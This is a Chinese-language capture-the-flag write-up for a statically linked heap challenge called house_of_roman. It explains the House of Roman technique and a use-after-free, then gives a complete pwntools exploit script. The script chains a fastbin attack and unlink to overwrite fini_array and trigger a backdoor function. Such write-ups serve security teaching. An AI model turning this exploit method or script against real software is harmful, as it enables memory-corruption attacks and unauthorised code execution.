题目虽然叫house_of_roman
,但是好像没有利用到。先介绍一下house_of_roman的利用手法
主要用于程序无打印功能,在不泄露libc地址的前提下,通过低位地址写+爆破的方法来bypass ALSR。
- 通过低位地址写修改fastbin的fd,修改到
malloc_hook-0x23
- 通过unsortedbin attack,将
main_arean
地址写入malloc_hook
- 使用fastbin attack,通过低位地址写修改
malloc_hook
中的地址为one gadget
一般此方法很少使用,需要爆破12bit,所以成功率只有1/4096。
漏洞点
存在UAF
攻击思路
由于这道题是静态编译的,所以攻击思路有所差别。并且给出了后门函数,此时就应该想到,如果修改才能触发后门函数。因为没有show函数,无法泄露libc,所以在不修改malloc_hook和free_hook的情况下,修改fini_array是一个好选项。
如何才能修改fini_array呢?控制malloc附近chunk吗?但是无法伪造合适的size。所以可以利用bss段控制ptr的指针。想要控制这一部分chunk,需要利用Unlink。利用unlink的前提是需要有很大的溢出空间,需要伪造fd和bk,并且next_chunk的pre_size和size也需要伪造。所以需要先利用在size部分填充0x7f,利用fastbin_attack申请到size处的chunk,然后修改size大小能够溢出。再unlink。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| from pwn import * from ctypes import * from libcfind import * from LibcSearcher import* import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux","splitw","-h"] debug =1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('challenge-c29cfb63e92cf3e1.sandbox.ctfhub.com', 23356) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num)) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')) l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, '\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, '\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
def add(size): rl("choice: ") sl('1') rl("size: ") sl(str(size)) def edit(index,content): rl("choice: ") sl('3') rl("index: ") sl(str(index)) rl("content: ") sl(content) def delete(index): rl("choice: ") sl('2') rl("index: ") sl(str(index)) gdb.attach(p) add(0x7f) add(0x60) add(0x7f) delete(1) edit(1,p64(0x6cdec0)) add(0x60) add(0x60) add(0xa0) add(0x80) add(0x10) edit(4,p64(0x0000010000000100)*2)
edit(5,p64(0)+p64(0xa1)+p64(0x6cde60-0x10)+p64(0x6cde60-0x8)+p64(0)*16+p64(0xa0)+p64(0x90)) delete(6) edit(5,p64(0x6CAE90)) edit(2,p64(0x4009AE))
rl("choice: ") sl('4')
inter()
|